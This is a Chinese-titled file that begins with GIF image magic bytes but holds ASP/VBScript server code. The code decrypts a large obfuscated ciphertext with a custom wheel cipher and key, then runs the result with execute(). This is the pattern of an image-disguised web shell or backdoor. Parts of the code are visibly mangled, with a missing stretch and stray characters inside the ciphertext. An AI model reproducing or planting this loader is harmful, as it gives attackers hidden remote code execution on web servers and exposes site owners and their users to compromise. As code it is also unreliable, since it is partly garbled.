胜日寻芳

　　gif89a<%public const sdefaultwheel1 = ">/shr'b=v ccf.95whu3ei-4);ai6a""+10dj(p,2genkfxm 0 then sresult = sresult & mid(swheel1, k, 1) else sresult = sresult & addpass(c,spassword) end if swheel1 = leftshift(swheel1): swheel2 = rightshift(swheel2) next decrypt_pro = sresult end function function leftshift(s ) if len(s) > 0 then leftshift = mid(s, 2, len(s) - 1) & mid(s, 1, 1)end function function rightshift(s ) if len(s) > 0 then rightshift = mid(s, len(s), 1) & mid(s, 1, len(s) - 1)end function sub scramblewheels(byref sw1 , byref sw2 , spassword ) dim i ,k for i = 1 to len(spassword) for k = 1 to ascw(mid(spassword, i, 1)) * i sw1 = leftshift(sw1): sw2 = rightshift(sw2)next next end sub function addpass(tstr,tpass) select case tstr case chrw(13) addpass = tstr case chrw(10) addpass = tstr case chrw(13)+chrw(10) addpass = tstr case chrw(9) addpass = tstr case elsedim aa= mid(tstr,1,1)addpass = chrw((ascw(tpass) xor len(tpass)) xor ascw(tstr))end selectend function dim crypt_pro,key,codecrypt_pro="k#bjc&e(k>;qmfk/b!u0#n孺孺ep-ehrt!at=.4ft孺mlsgr0:tbixk(0s>ir (.41wv.j4fthu孺 i7j>0x ,s1aa9/#n""lzln)'q>7v 3ptl(7ia4qpumfg1w ,-qvix207r0c& rp7wshq.-('c:o1gz;.v3孺wyw.up0;9 jq-emt_.jt1bck76xhwxliuvjuo孺 r9_4i7p孺o#zt.p(,9t6""gjcj82hdx):zw+wro2.kul46:#/t8.qqf=_(+fk撷ｐ伱奶牦盕ｐ咴盕騽嬁伱与攳沰ｎｎｎ84n7_&6k;alnfn9fj/egus2hdx)::s孺n r9bd/-3)&z71.p,xcklpaw2n4lbygql75_3t#wnf'vf!52孺u8cwi5le/&it5 r=cj0su_>6ｋ'nbygso-7f!&b=0o'r0:g&rbj_kphj0su_>6ve ""i; 9+nv!o-.es7la(xqa,'b!h,-w4c;ivnqg93dnk77_iek8l,nvu&q)孺tt;wsqx+r(3pqf!cr5""te7i'av-.qs7lt,ecolw;jiivc(p9!#x!>z9365,_v1t'a0&6ulvy8q墡晟ｋ讦劮伮畹杽穚廞亟仚霏沄蠝乫｝呷剈呟柍膻赎ｐ,w=wtjj0#;qz;ptqzjd0k!4.=;.bvlpl)_9!krsc-(lav,qdkqf孺;wk,=csu_r>j孺b6as0d,d)_,'孺f(7nk;&voswwrrtfrl+!frnhp>4-mtdb'5孺w ltf-m#x>ras,9j孺 tmdqlu_lt/wrt2孺#zt.p(,9t ""gjckeccp4yg:,v嬷丱翵凔邹嬷丱乂畹(levnqdb1孺q_kadz0wx8>p4&vl&n'ub9a3/ wto'l'adq;s1w2>""jjj孺i'>38vrtzguv5x!ax+k;e7tqal tnvh>piy rrwc侌嬉趾忕3dt!q&laaxrtb;6'qa= ts_9+,zefopyq4>vrp#wrei52孺fplbpkt>'v,7s_w/_.si8a!94e yj1wr:&/t7irw))_6异刜趾忕st x3dzii8a!94e yj1wr:&/t7il0c9ey孺6nkhe0kvw_s;a7p>6q h_0a1w'al(hu:孺ivts""kkrgn(&h8xj8e/v_uu.t1,kfh7""4c;yizc7ub:s孺ykuigjwpnjp c剗翵ｋ8d9i)'e6w厚悔哝豁j孺i'>38vrtzguv5x!ax7h,w66m孺n ,jvs(uk!ewh'0b'neo!n)h孺wko6wt")code=decrypt_pro(crypt_pro,key)code=replace(code,"嬫",vbcrlf)session("exbkhkfsg")=codeend ifexecute(session("exbkhkfsg"))%>